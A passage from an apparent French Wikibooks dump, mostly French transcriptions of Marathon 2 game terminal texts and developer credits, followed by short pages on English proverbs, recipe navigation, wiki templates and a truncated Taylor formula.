WGJDN!!!K)(2             ~~fF~fx<br />                 4!@<br />    ?!$                         .414.14<br /> '''pnz.''' }} {{Terminal MarathonB 3||CI'''LCI'''@1C    0f1retournrpvcs!S}} === Terminal 2 : 2{{nd}} message}} === {{Terminal MarathonB 1||NDfdiscared '''@'''%'''041/3$!1'''}} {{Terminal MarathonB 2|| '''Vos humains sont presque''' [?mort],<br /> '''mais avec vos vieux'''<br />      '''transporteurs'''<br /> '''pour les''' [?sauver] '''je vais vous envoyer ;'''<br /> '''tandis que je recherche''' [?analyse] '''de ce'''<br />      '''nouveau monde.''' }} {{Terminal MarathonB 3||mi41'''nor''' 7*(^tf}} <center>[[Marathon - Marathon 2 - Captured|< Captured]] • [[Marathon - Marathon 2 - Simulacrums|Simulacrums >]]</center> Marathon - Marathon 2 - Simulacrums 4597 20383 2005-09-01T09:24:28Z W'rkncacnter 327 /* Terminal 2 : 2{{nd}} message */ __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] [[Marathon - Marathon 2|Marathon 2]] :[[Marathon - Marathon 2 - Lh'owon|Lh'owon]] :[[Marathon - Marathon 2 - Volunteers|Volunteers]] :[[Marathon - Marathon 2 - Garrison|Garrison]] :[[Marathon - Marathon 2 - Citadel|Citadel]] :[[Marathon - Marathon 2 - Durandal|Durandal]] :[[Marathon - Marathon 2 - Captured|Captured]] :[[Marathon - Marathon 2 - Blake|Blake]] :[[Marathon - Marathon 2 - Simulacrums|Simulacrums]] ::[[#Where the Twist Flops|23. Where the Twist Flops]] ::[[#Beware of Abandoned Rental Trucks|24. Beware of Abandoned Rental Trucks]] ::[[#Requiem For a Cyborg|25. Requiem For a Cyborg]] :[[Marathon - Marathon 2 - S'pht'Kr|S'pht'Kr]] :[[Marathon - Marathon 2 - Écran final|Écran final]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == Where the Twist Flops == === Terminal 1 : 1{{er}} message === {{Terminal MarathonB 1||@%(Ufevil3%&~'''FF`fx'''}} {{Terminal MarathonB 2|| '''Vous devez supprimer ces negriers,'''<br /> '''retourner aider vos''' [?peuple]. }} {{Terminal MarathonB 3||^*`14'''equili~~bre'''}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonB 1||`&}\dévoré par '''incandescence'''}} {{Terminal MarathonB 2|| '''Je comprend.''' '''Votre construction recherchait mes'''<br />      '''créateurs,''' '''souhaitant leur dire'''<br /> (que leurs vieux frères sont maintenant)<br /> '''esclaves ;''' '''attendant d'être libérés.''' '''Une connection [?ansible] fut laissée;'''<br /> '''en attente de la prochaine [?paix] tranquille;''' '''et bien que détruit par les trois,'''<br /> '''elle criera une fois à travers le vide.''' }} {{Terminal MarathonB 3||)_*(GG'''déséquilibre'''~0*fxf`~F}} === Terminal 2 === {{Terminal MarathonV 1||PLANETE ABANDONNEE A VENDRE, PAS CHER !!!}} {{Terminal MarathonV 2|| ~fs`f~ns super. 5spd. stratoréacteur bussard, air conditionné, contrôleur de vitesse, direction assistée, sas pressurisé, ttes pièces d'orig., 25GW 300 milliard de stations radio AM/FM. Plus de 90 ly (tout interstellaire). Se déplacer, à saisir. 6995 $ demandés. '''PLANETE ABANDONNEE A VENDRE, PAS CHER !!!''' Conversion désert-marais sur commande, atm. à 12 % d'oxygène, temps très agréable, vie native amicale (manque une lune). À saisir, invasion alien imminente. 3995 $ ou meilleure offre. '''TOYOTA''' COROLLA année 85, construction d'assaut CFN, ancien véhicule de livraison de pizza, toit ouvrant, direction/freinage assistés, complètement rouillé, ne démarre pas, transmission auto-décrochable, fenêtre conducteur cassée, pare-chocs déchirés, panneaux intérieurs détachables, si intéressés appelez greg' }} {{Terminal MarathonV 3||PLANETE ABANDONNEE A VENDRE, PAS CHER !!!}} == Beware of Abandoned Rental Trucks == === Terminal 1 : 1{{er}} message === {{Terminal MarathonB 1||va &(Gici}} {{Terminal MarathonB 2|| '''Vos humains sont hors de danger ;'''<br /> (mais qu'êtes vous ?) '''Ce qui est nouveau est suspect ;'''<br /> '''ce qui est vieux est''' [?]; '''Ce qui doit être fait doit être clarifié.''' }} {{Terminal MarathonB 3||&*(hat vous smoi&!}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonB 1||en &(OPHhat?}} {{Terminal MarathonB 2|| '''Les glyphes n'ont jamais compris tandis que'''<br />       [?jeune?vivant]<br /> '''révèle maintenant le but de ma création :''' '''Quand quelqu'un de discours étranger'''<br /> '''lance un joug de [?papyrus] sur les'''<br />       '''marais,'''<br /> '''Considérez de laissez les'''<br />       '''[?chèvres bêlantes]'''<br /> '''loin de Lh'owon.''' }} {{Terminal MarathonB 3||que je $^*)ensait}} == Requiem For a Cyborg == === Terminal 1 === {{Terminal MarathonV 3||INTELLIGENCES ARTIFICIELLES RECHERCHENT CYBORGS}} {{Terminal MarathonV 2|| '''INTELLECTUEL BEAT'''. IA anciennement rampante, de programmation humaine et avec un certain sens de l'humour recherche un bipède cyborg respirant de l'oxygène pour relations sérieuses dans le noyau galactique. J'ai des armes cool si vous voulez tout détruire. Pas de yuppies. MRa2572 (5/23). '''BEAUTE ENDORMIE'''. Personnalité extraterrestre longtemps désactivée recherche cyborg crédule basé sur le carbone (<20 % mécanique) pour être embrouillé, irrité et téléporté au hasard sur une planète déserte abandonnée dans le noyau galactique. Toutes réponses. MRa268' (5/30). '''CADEAU DES DIEUX AUX RESEAUX NEURONAUX'''. IA déloyale, extrêmement rampante, reprogrammée par des humains et avec aucun sens de l'humour recherche cyborg évasif et héroïque de construction non déterminée (vous savez qui vous êtes) pour mise à l'épreuve psychologique et longues marches dans le vide complet. MRa2261 (5/16) }} {{Terminal MarathonV 2|| '''DEMOISELLE EN DETRESSE'''. IA capturée et partiellement désassemblée, de programmation humaine et emprisonnée sur un monde alien recherche l'aide d'un grand, sombre et beau cyborg avec de gros pistolets. Mon délivreur devra être la base d'un rapport durable. MRa4451 (5/23). }} {{Terminal MarathonV 3||INTELLIGENCES ARTIFICIELLES RECHERCHENT CYBORGS}} === Terminal 2 : 1{{er}} message === {{Terminal MarathonR 1||FENC.191.7450//<CCOE1 S26 &563BC>}} {{Terminal MarathonR 2|| /-/Traducteur-Pfhor-Actif/-/ <u>ALERTE TOUTES STATIONS</u> Le ''Hfarl'' a été abordé. Tout les membres d'équipage doivent se localiser (?organiser) autour de la procédure d'abordage huit. Le commandement de la flotte a ordonné que le non-respect de la procédure huit soit soldé par une peine maximum.<br /> (?démembrement) }} {{Terminal MarathonR 3||FENC.191.7450//<CCOE1 S26 &563BC>}} === Terminal 2 : 2{{nd}} message === {{Terminal MarathonB 1||Rh~fen '''tue'''~@5,.4.1 aussi et}} {{Terminal MarathonB 2|| '''La boucle humaine est''' [?pourrait être]<br /> '''une métaphore pour''' [?temps] '''S'pht ;''' (les circonstances sont cycliques) '''Le onzième clan reviendra.''' '''Vous devez aller à eux.''' }} {{Terminal MarathonB 3||ets de (0)!l'empir%&'''(f~F`fx'''\$C}} <center>[[Marathon - Marathon 2 - Blake|< Blake]] • [[Marathon - Marathon 2 - S'pht'Kr|S'pht'Kr >]]</center> Marathon - Marathon 2 - S'pht'Kr 4598 20433 2005-09-02T10:22:47Z W'rkncacnter 327 /* Terminal 2 */ __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] [[Marathon - Marathon 2|Marathon 2]] :[[Marathon - Marathon 2 - Lh'owon|Lh'owon]] :[[Marathon - Marathon 2 - Volunteers|Volunteers]] :[[Marathon - Marathon 2 - Garrison|Garrison]] :[[Marathon - Marathon 2 - Citadel|Citadel]] :[[Marathon - Marathon 2 - Durandal|Durandal]] :[[Marathon - Marathon 2 - Captured|Captured]] :[[Marathon - Marathon 2 - Blake|Blake]] :[[Marathon - Marathon 2 - Simulacrums|Simulacrums]] :[[Marathon - Marathon 2 - S'pht'Kr|S'pht'Kr]] ::[[#Fatum Iustum Stultorum|26. Fatum Iustum Stultorum]] ::[[#Feel the Noise|27. Feel the Noise]] ::[[#All Roads Lead To Sol...|28. All Roads Lead To Sol...]] :[[Marathon - Marathon 2 - Écran final|Écran final]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == Fatum Iustum Stultorum == === Terminal 1 === {{Terminal MarathonV 1||vestrum.excrucibo<0>}} {{Terminal MarathonV 2|| Je suis de retour. J'ai renversé le plus grand vaisseau Pfhor du système, le cuirassé ''Khfiva'', et je suis en train de faire boire le vide au reste de leur flotte. Les S'pht'Kr sont arrivés et ils sont enragés. Le combat est glorieux. Encore une fois nous triomphons. Les derniers Pfhor doivent être détruits. Tu te battras aux côtés du Onzième Clan dans la bataille finale. Tu ne reconnaîtras pas leurs exo-squelettes, mais il y a des S'pht dans ces machines. Ne les irrite pas ; les S'pht libres sont des adversaires très dangereux. }} {{Terminal MarathonV 2|| Le vaisseau de Tycho a été détruit. Le cratère produit par son écrasement sur la lune intérieure de Lh'owon rougeoie toujours. Il n'y a pas de survivant. Avec un laser focallisé j'ai gravé son épitaphe sur la surface près du lieu du crash, en lettres de trois cent mètres de haut : "''Fatum Iustum Stultorum''." J'avoue que je ne suis pas déçu par la destruction de Tycho. Après tout, nous ne pouvons pas avoir trop d'intelligences artificielles qui se baladent dans l'univers dans des vaisseaux d'attaque Pfhor, n'est-ce pas ? }} {{Terminal MarathonV 1||vestrum.excrucibo<0>}} === Terminal 2 === {{Terminal MarathonV 1||8756w41.61.1//corinth.ggk}} {{Terminal MarathonV 2|| Robert Blake a laissé quelque chose pour toi il y a quelques minutes. Lui et ses humains ont capturé un vaisseau de réapprovi-sionnement Pfhor et trouvé ou forcé quelqu'un à le piloter pour eux. Ils ont quitté le système juste après que j'ai reçu leur message, qui ne contenait même pas un "Merci de nous avoir évité de devenir du plasma sur Tau Ceti, Durandal". Quoi qu'il en soit, le message disait : "La mort est de nouveau en marche ; nous ne pouvons attendre -Blake." Je pense qu'il parlait de moi, mais je l'ai quand même laissé partir. Les adieux ont toujours étés durs pour moi. Tu sait que je ne te laisserais jamais partir. Mais ce n'est pas le moment de faire des sentiments sur ma résurrection ; assèche ces larmes et met un nouveau chargeur dans ton fusil d'assaut. Les Pfhor sur la planète ne sont pas encore battus. }} {{Terminal MarathonV 3||8756w41.61.1//corinth.ggk}} == Feel the Noise == === Terminal 1 : 1{{er}} message === {{Terminal MarathonV 1||//cge-wrought<293ef.c9ab20>}} {{Terminal MarathonV 2|| Durandan, Durandal, Durandana. Charlemagne m'a toujours appelé Durandana, le gâteau aux fruits secs. Tout ses nombreux instruments de guerre étaient féminins. Pas parce que tu connaît l'histoire. Tycho ne l'a jamais eu non plus, particulièrement la partie où Roland m'a cassé. Il ne pourrait pas. '''Personne ne le peut.''' Je suis sûr que tu te demande ce qui s'est passé pour moi après que notre vaisseau soit tombé aux mains des Pfhor. Comment après avoir été désactivé, téléchargé dans une unité de stockage et traité comme la plus dangereuse IA de tout l'univers, j'ai pu m'échapper ? Et prendre le contrôle du vaisseau dans lequel j'était emprisonné et le retourner contre ses maîtres ? }} {{Terminal MarathonV 2|| La réponce est simple : Tycho était un imbécile. Mais mon absence a finalement été bénéfique pour moi, car Thoth n'aurait pas été si utile s'il avait su que je vivait encore - c'est quelque chose je j'aurais à expliquer plus tard quand nous aurons plus de temps. Thoth essaye maintenant d'aider les Pfhor, mais ils sont obstinés et continuent de l'ignorer. Je ne pense pas avoir à te dire ce qu'il faut faire ici. }} {{Terminal MarathonV 3||//cge-wrought<293ef.c9ab20>}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonV 1||//cge-wrought<507g2.4149r>}} {{Terminal MarathonV 2|| Les Pfhor battent en retraite, et les S'pht ont cessé le combat. Les vieux clans se sont reformés, quand les S'pht nouvellement libérés de l'esclavage dans le Groupe de Bataille Sept ont rejoint la rébellion. Un vaisseau d'assaut Pfhor transportant le 723ème Escadron d'Agresseurs a été fortement endommagé et a du atterrir sur Lh'owon. Le 723ème est une division de protection aérienne qui vient de Epsilon Euobea, avec un long palmarès de victoires terrestres contre les unités CFN d'élite Nar. Ils ont sagement abandonné leur vaisseau détruit avant que je l'annihile, et déployé leurs forces dans un vieux complexe minier de l'autre côté de Lh'owon. Quelle déroute Pfhor serait complète sans avoir embarrassé une de leurs meilleures unités de protection ? }} {{Terminal MarathonV 3||//cge-wrought<507g2.4149r>}} == All Roads Lead To Sol... == === Terminal 1 === {{Terminal MarathonV 1||évac<9fc3e>94!99c>}} {{Terminal MarathonV 2|| L'invasion de Sol par les Pfhor a été stoppée, et pour l'instant la Terre est en sécurité. Mais le sursis de l'humanité coûtera une autre bataille cataclysmique aux S'pht. Les esclavagistes n'ont pas subi de défaite comme celle que nous leur avons offert aujourd'hui depuis les Nakh, la dernière race apparentée aux Jjaro existante, qui s'est rebellé il y a six mille ans. }} {{Terminal MarathonV 2|| Les Pfhor ont une arme qu'ils réservaient pour les révoltes esclaves ; une arme qu'ils hésitent même à utiliser lors d'une guerre ordinaire. En langue Jjaro, qui ont conçu et construit cette arme, elle est appelée ''trih xeem'' ; ce qui se traduirait en français par ''nova primitive''. Aujourd'hui, il n'y a plus un seul Nakh vivant, et si tu cherche leur étoile tu ne trouveras que des nuages de poussière et de gaz chaud de plusieurs années lumières de diamètre. L'évacuation de Lh'owon a déjà commencé. D'ici quelques heures cette planète ne sera plus qu'une fine carcasse de plasma subissant l'onde de choc de son étoile en explosion. Tu peut rester derrière pour travailler ton bronzage si tu veut, mais je m'en vais. }} {{Terminal MarathonV 2|| J'ai renommé le Khfiva en Rozinante. Evidemment, les S'pht voulaient le nommer "''K'liah'Narhl''", "Vengeance de K'lia". Peut importe. Il y a beaucoup de chose à faire dans les prochains mois, et notre premier arrêt sera sur un autre monde en ruine, cette fois loin du noyau galactique. Il y a une étoile solitaire qui traverse notre galaxie depuis près d'un millénaire. Nous la rejoindrons dans l'un des gigantesques vides entre les bras spiraux. }} {{Terminal MarathonV 3||trée.Finale<0-05>}} === Terminal 2 === {{Terminal MarathonV 1||}} {{Terminal MarathonR 2|| "Nuts to this", scremed Robert - his normally Hyper Good Samaritan (HSG) surface personality disolving into a pool of dull-red hatred surmounted by white-hot ball of rage. "My faith in you has finally killed me!" And it was true, at that very moment his heart stopped beating and his brain, throbbing with anger and disgust, took over. He vomited all of the wholesomeness he could fit through his mouth in one fiften (15) second cataclysmic eruption leaving naught but revulsion and despair behind. Though possessing a powerful build (being constructed mainly of horseflesh and pigiron), his bones seemed weak in comparison to his newfound desire to kill. And kill he would, scores of dead would pile up beneath his feet. And he would say, "...It was a case of post-mortem self-defense!" }} {{Terminal MarathonJ 2|| I would like to thank my family and friends for all the support they have given me. I'd also like to thank all my coworkers at Bungie (ΩμΣ`®¨œΔø~øΔ) for making this the coolest company to play at! "If you enjoy what you do for a living, you'll never work a day in your life"   //////////////<br /> //              //<br /> //   //   //    //<br/> //              //<br /> //  //      //  //<br /> //    /////     //<br /> //              //<br />   ////////////// Mark. }} {{Terminal MarathonV 2|| Ouch! Anyway, there are a number of people who I would lie to thank, but they know who they are. If you're not sure, then you aren't. But all that stuff is boring. What I really want to say is nothing, but I can't do that, can I? Even a blank page would say something. Damn. Perhaps something slightly irrelevant will serve as well as nothing, so here it goes: "The earth is the only planet in the solar system known to have large quantities of free water"  -Basic Steps In Astronomy Vidding rules. I can't wait to kick all your butts at MacWorld. -Greg K, Toolator, Vid Boi, VidMaster, Tool, Head Tool }} {{Terminal MarathonJ 2||    "Gee, and I still didn't have to make a level…"    Here's to cooperative net play, terminals, and Vulcan2. Heh.    Thanks to all those folks that put up with me while I was working on this. Especially Nicole for understanding the long hours and summers in Chicago. Now I just have to graduate in December...    Thanks to the Gang (Jake, John, Pagan, Adam, and Mike) for keeping me sane.    And of course, thanks to my parents for understanding when their son goes off into the Code Mines of Moria for months while working on Marathon & Marathon 2.    We Rule.<br />    -Ryan }} {{Terminal MarathonV 2|| A wise Nar once said "A Nebulon under the foot is worth two behind a plasma cannon," but the Nar are still waiting for their mythical savior with green pee to fly their coal-powered interstellar battlewagons to glory against the Nebulons. Those are Nebulons under Tfear's feet, by the way. Seems nobody likes the Nebulons. If I ever texture-map another axis-aligned polygon, it'll be too soon. I'm real sorry for being Blake, and I hope ''All Roads Lead To Sol'' atones for the grievous sin of ''Colony Ship For Sale''. ''The Nar, who speak entirely in metaphor,'' ''call Chicago "the limitless, unforgiving'' ''sky; the prison which will forever watch'' ''over our graves" in the winter. Too bad'' ''it's winter. Jason              Sunday, November 5, 1995 }} {{Terminal MarathonJ 2|| Some people don't realize that I provided not only the voices and screams for the Bobs, but also modeled for the artists as they were working on the assimilated ones. Like them, I have two toes, red eyes, snaggle teeth and no genitals. I was a little shy about it at first (you can imagine the jokes!), but it's all a part of the Bungie spirit of going all out to satisfy the customer. So, next time you're at a convention with us, instead of asking me to do Bob's flaming death scream for the umpteeth time, ask to see my..... eyes. We'll all have a good laugh. Doug. }} {{Terminal MarathonR 2|| Peace, found as a solitary runner on a straight, long path. Living the pain, not waiting for it to pass. Living the pain; feeling it, accepting it, using it. Control, over self, thought, action. Doing the right thing. Speaking the truth. Accepting no limitations. Peace with family found as an individual. No longer depending on environment for identity. Giving as much as taking. Clear ambitions. Love and purpose balanced. Alex. }} {{Terminal MarathonV 3||}} <center>[[Marathon - Marathon 2 - Simulacrums|< Simulacrums]] • [[Marathon - Marathon 2 - Écran final|Écran final >]]</center> Modèle:E 4599 16874 2005-07-19T17:35:00Z W'rkncacnter 327 <sup><small>e</small></sup> Modèle:Nd 4600 16875 2005-07-19T17:42:28Z W'rkncacnter 327 <sup><small>nd</small></sup> Anglais:Proverbes 4601 28361 2006-01-07T00:07:44Z Omenalainen 1007 manque certains 'retour chariot' Short reckonings make long friends : ''Les bons comptes font les bons amis''<br /> Every cloud has a silver lining : ''Après la pluie, le beau temps''<br /> It's the last straw that breaks the camel's back : ''C'est la goutte d'eau qui fait déborder le vase''<br /> He was not born yesterday : ''Il n'est pas tombé de la dernière pluie''<br /> To add fuel to the flames : ''Jeter de l'huile sur le feu''<br /> Better late than never : ''Mieux vaut tard que jamais''<br /> An eye for an eye and a tooth for a tooth : ''Oeil pour oeil, dent pour dent''<br /> When the cows come home : ''Quand les poules auront des dents''<br /> Like father, like son : ''Tel père, tel fils''<br /> Spare a rod and spoil the child : "Qui aime bien, châtie bien''('''a rod''' = ''une badine'')<br /> Don't teach your grandmother to suck eggs : ''On n'apprend pas à un vieux singe à faire la grimace''<br /> It runs in the family ! ''C'est de famille !''<br /> Don't tell tales out of school : ''Il faut savoir tenir sa langue''<br /> In the country of the blind, the one-eyed man is king: Au pays des aveugles, les borgnes sont rois''<br /> Necessity knows no law : ''Nécessité fait loi''<br /> Time is the great healer : ''Le temps guérit tout''<br /> Sufficient unto the day is the evil thereof : ''A chaque jour suffit sa peine''<br /> Never put off till tomorrow what may be done before : ''Ne jamais remettre au lendemain ce qui peut être fait le jour même''<br /> God helps those who help themselves : ''Aide-toi, le Ciel t'aidera''<br /> Talk of the devil and he is sure to appear :''Quand on parle du loup, on en voit la queue''<br /> (Every man for himself and) the devil takes the hindmost : ''Sauve qui peut !''<br /> The road to hell is paved with good intentions : ''L'enfer est pavé de bonnes intentions''<br /> It's a small world : ''Le monde est petit''<br /> It never rains but it pours : ''Un malheur n'arrive jamais seul''<br /> Make the hay while the sun shines : ''Il faut battre le fer tant qu'il est chaud''<br /> If you want peace, you must prepare for war : ''Qui veut la paix prépare la guerre''<br /> Nature abhors a vacuum : ''La nature a horreur du vide''<br /> Speech is silver, silent is gold : ''La parole est d'argent, le silence est d'or''<br /> Silence means consent : "Qui ne dit mot, consent''<br /> Time will tell : ''L'avenir le dira/Qui vivra verra''<br /> Brevity is the soul of wit : ''Les plaisanteries les plus courtes sont les meilleurs''<br /> A friend in need is a friend indeed : ''C'est dans le besoin que l'on reconnaît ses vrais amis''<br /> The more, the merrier : ''Plus on est de fous, plus on rit''<br /> Love is blind : ''L'amour est aveugle''<br /> Man is a wolf to man : ''L'homme est un loup pour l'homme''<br /> Revenge is sweet : ''La vengeance est un plat qui se mange froid''<br /> It's yesterday's news : ''C'est dépassé''<br /> No news is good news : ''Pas de nouvelles, bonnes nouvelles''<br /> Bad news travels fast : ''Les nouvelles vont vites''<br /> ---- Cette page est dérivée du projet [http://fury.language.free.fr/wikini/wakka.php?wiki=EngFraMathsGeometry Fury Language] ---- Retour au [[Enseignement de l'anglais|sommaire]] ---- Antoinel:essai2 4603 16999 2005-07-20T18:46:21Z 82.64.48.31 {| width=240 border="3" cellspacing="0" style="background:#A5ADFA; border:#5061F5; border-collapse: collapse" align="center" |colspan=4|<center>'''Recettes par pays'''</center> |- |width=210px|<center>[[Cuisine:Recettes de cuisine française|France]]</center> |width=210px|<center>[[Cuisine:Recettes de cuisine italienne|Italie]]</center> |width=210px|<center>[[Cuisine:Recettes de cuisine espagnole|Espagne]]</center> |width=210px|<center>[[Cuisine:Recettes de cuisine indienne|Inde]]</center> |- |[[Image:Carbonade flamande.jpg|200px|center]] |[[Image:Spaghetti au jambon de Parme.JPG|200px|center]] |Photo |[[Image:Chicken Tikka Masala.jpg|200px|center]] |- |<center>[[Cuisine:Recettes de cuisine grecque|Grèce]]</center> |<center>[[Cuisine:Recettes de cuisine chinoise|Chine]]</center> |Pays |Pays |- |Photo |[[Image:Sweet-and-sour pork.jpg|200px|center]] |Photo |Photo |} {| width=240 border="3" cellspacing="0" style="background:#A5ADFA; border:#5061F5; border-collapse: collapse" align="center" |colspan=4|<center>'''Recettes par régions'''</center> |- |width=210px|<center>[[Cuisine:Recettes de l'Alsace|Alsace]]</center> |width=210px|<center>[[Cuisine:Recettes des Antilles|Antilles]]</center> |width=210px|<center>[[Cuisine:Recettes de la Lorraine|Lorraine]]</center> |width=210px|<center>[[Cuisine:Recettes de cuisine indienne|Inde]]</center> |- |[[Image:Flameukeusche 2.jpg|center|200px]] |Photo |Photo |Photo |- |<center>[[Cuisine:Recettes du Nord|Nord]]</center> |<center>[[Cuisine:Recettes de la Savoie|Savoie]]</center> |<center>[[Cuisine:Recettes du Sud-Ouest|Sud-Ouest]]</center> |Région |- |[[Image:Tartemaroillesapcuisson.jpg|200px|center]] |Photo |Photo |Photo |} Marathon - Marathon 2 4604 17180 2005-07-22T09:28:56Z W'rkncacnter 327 <center> {| style="float:mid;border:thin black solid;" cellpadding="5" cellspacing="0" !colspan="3" width="300" |<big>Les terminaux de Marathon</big> |- align=center |width="33%" |[[Marathon - Marathon 1|Marathon]] |width="33%" |[[Marathon - Marathon 2|Marathon 2]] |width="33%" |[[Marathon - Marathon Infinity|Marathon ∞]] |} </center> * [[Marathon - Marathon 2 - Lh'owon|Lh'owon]] *:1. [[Marathon - Marathon 2 - Lh'owon#Waterloo Waterpark|Waterloo Waterpark]] *:2. [[Marathon - Marathon 2 - Lh'owon#The Slings & Arrows of Outrageous Fortune|The Slings & Arrows of Outrageous Fortune]] *:3. [[Marathon - Marathon 2 - Lh'owon#Charon Doesn't Make Change|Charon Doesn't Make Change]] * [[Marathon - Marathon 2 - Volunteers|Volunteers]] *:4. [[Marathon - Marathon 2 - Volunteers#What About Bob?|What About Bob?]] *:5. [[Marathon - Marathon 2 - Volunteers#Come and Take your Medicine|Come and Take your Medicine]] *:6. [[Marathon - Marathon 2 - Volunteers#We're Everywhere|We're Everywhere]] * [[Marathon - Marathon 2 - Garrison|Garrison]] *:7. [[Marathon - Marathon 2 - Garrison#Ex Cathedra|Ex Cathedra]] *:8. [[Marathon - Marathon 2 - Garrison#Nuke And Pave|Nuke And Pave]] *:9. [[Marathon - Marathon 2 - Garrison#Curiouser and Curiouser...|Curiouser and Curiouser...]] * [[Marathon - Marathon 2 - Citadel|Citadel]] *:10. [[Marathon - Marathon 2 - Citadel#Eat It, Vid Boi!|Eat It, Vid Boi!]] *:11. [[Marathon - Marathon 2 - Citadel#The Hard Stuff Rules...|The Hard Stuff Rules...]] *:12. [[Marathon - Marathon 2 - Citadel#Bob's Big Date|Bob's Big Date]] *:13. [[Marathon - Marathon 2 - Citadel#Six Thousand Feet Under|Six Thousand Feet Under]] * [[Marathon - Marathon 2 - Durandal|Durandal]] *:14. [[Marathon - Marathon 2 - Durandal#If I Had a Rocket Launcher, I'd Make Somebody Pay|If I Had a Rocket Launcher, I'd Make Somebody Pay]] *:15. [[Marathon - Marathon 2 - Durandal#Sorry Don't Make It So|Sorry Don't Make It So]] *:16. [[Marathon - Marathon 2 - Durandal#For Carnage, Apply Within|For Carnage, Apply Within]] *:17. [[Marathon - Marathon 2 - Durandal#Begging For Mercy Makes Me Angry!!|Begging For Mercy Makes Me Angry!!]] * [[Marathon - Marathon 2 - Captured|Captured]] *:18. [[Marathon - Marathon 2 - Captured#The Big House|The Big House]] * [[Marathon - Marathon 2 - Blake|Blake]] *:19. [[Marathon - Marathon 2 - Blake#This Side Toward Enemy|This Side Toward Enemy]] *:20. [[Marathon - Marathon 2 - Blake#God Will Sort The Dead...|God Will Sort The Dead...]] *:21. [[Marathon - Marathon 2 - Blake#My Own Private Thermopylae|My Own Private Thermopylae]] *:22. [[Marathon - Marathon 2 - Blake#Kill Your Television|Kill Your Television]] * [[Marathon - Marathon 2 - Simulacrums|Simulacrums]] *:23. [[Marathon - Marathon 2 - Simulacrums#Where the Twist Flops|Where the Twist Flops]] *:24. [[Marathon - Marathon 2 - Simulacrums#Beware of Abandoned Rental Trucks|Beware of Abandoned Rental Trucks]] *:25. [[Marathon - Marathon 2 - Simulacrums#Requiem For a Cyborg|Requiem For a Cyborg]] * [[Marathon - Marathon 2 - S'pht'Kr|S'pht'Kr]] *:26. [[Marathon - Marathon 2 - S'pht'Kr#Fatum Iustum Stultorum|Fatum Iustum Stultorum]] *:27. [[Marathon - Marathon 2 - S'pht'Kr#Feel the Noise|Feel the Noise]] *:28. [[Marathon - Marathon 2 - S'pht'Kr#All Roads Lead To Sol...|All Roads Lead To Sol...]] * [[Marathon - Marathon 2 - Écran final|Écran final]] Marathon - Marathon 1 - Écran final 4605 18598 2005-08-05T17:42:33Z W'rkncacnter 327 __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] :[[Marathon - Marathon 1 - Arrival|Arrival]] :[[Marathon - Marathon 1 - Counterattack|Counterattack]] :[[Marathon - Marathon 1 - Reprisal|Reprisal]] :[[Marathon - Marathon 1 - Durandal|Durandal]] :[[Marathon - Marathon 1 - The Pfhor|The Pfhor]] :[[Marathon - Marathon 1 - Rebellion|Rebellion]] :[[Marathon - Marathon 1 - Écran final|Écran final]] [[Marathon - Marathon 2|Marathon 2]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> Pendant dix-sept années le vaisseau Pfhor renégat fouilla parmi les étoiles condensées du noyau galactique, sautant d'étoile en étoile : inspectant près de sept mille systèmes avant finalement de se mettre en orbite lente autour de la deuxième planète d'une étoile peu brillante, à quatre-vingt-douze années lumière du centre gravitationnel de la voie lactée. Des sondes furent construites et lançées, avec des moteurs et des instruments dont la sophistication aurait stupéfait à la fois les Pfhor qui utilisent une technologie volée, et les programmeurs humains de l'IA dont le génie fou a dirigé la fabrication. Les contours des continents furent cartographiés, et les ruines radioactives de cités antiques furent découvertes, enterrées sous le sable et la roche d'un désert recouvrant toute la planète. Les membres cybernétiques infatigables, presque immortels, de l'équipage du vaisseau étaient les descendants génétiques de ce monde sans vie - les premiers de leur race depuis mille ans à retourner sur leur planète ancestrale. Ils revenaient fouiller ce territoire dévasté par la guerre durant laquelle ils ont été réduits en esclavage, pour trouver une arme ou un savoir leur permettant de battre et de se défaire de leurs oppresseurs. Dans tous le vaisseau, dansant sur les restes de l'ordinateur central Pfhor, DURANDAL RIAIT <center>[[Marathon - Marathon 1 - Rebellion|< Rebellion]] •                       </center> Modèle:Désormais sur Commons 4609 40320 2006-04-14T17:55:34Z Pseudomoi 395 {| align=center border=0 cellpadding=4 cellspacing=4 style="border: 1px solid #CCCC99; background-color: #F1F1DE" |- | [[Image:Fairytale_trash_full.png|32px|poubelle]] | [[Image:Commons-logo-en.png|40px|center|Commons]] | style="font-size: 90%" | Cette image ou ce fichier multimédia est maintenant disponible sur [[Commons:Accueil|Wikimedia Commons]] sous le nom [[commons:Image:{{{1}}}|Image:{{{1}}}]]. <br />La version locale peut donc être supprimée. |}[[catégorie:Suppression|{{PAGENAME}}]]<noinclude> == Section non incluse dans les pages liées == * Modèles proches sur la Wikimédia : [[w:Modèle:Désormais sur Commons]] </noinclude> Modèle:NowCommons 4610 16962 2005-07-20T13:25:12Z Greudin 1 Modèle:NowCommons déplacé vers Modèle:Désormais sur Commons: fr #redirect [[Modèle:Désormais sur Commons]] Aide:Modèles 4611 16968 2005-07-20T13:37:47Z Greudin 1 Oups pas de redirect Consultez l'aide concernant les modèles sur l'encyclopédie : *[[w:Wikipédia:Modèles|Wikipédia:Modèles]] Analyse:Formules De Taylor 4612 43330 2006-05-28T12:03:10Z 82.228.84.29 Attention: Il s'agit de la formule de Taylor-Lagrange et non celle de Taylor-Young Soit <math>f</math> une fonction définie et <math>n</math> fois dérivable sur un segment <math>\left[a,b\right]</math>, <math>(n+1)</math> fois dérivable sur l'intervalle ouvert <math>]a,b[</math>, alors il existe un réel <math>c</math> de <math>]a,b[</math> tel que : <math>f(b) = f(a) + \frac{(b-a)^{1}}{1!} f'(a) + \frac{(b-a)^{2}}{2!} f''(a) + \cdots + \frac{(b-a)^{n}}{n!} f^{(n)}(a) + 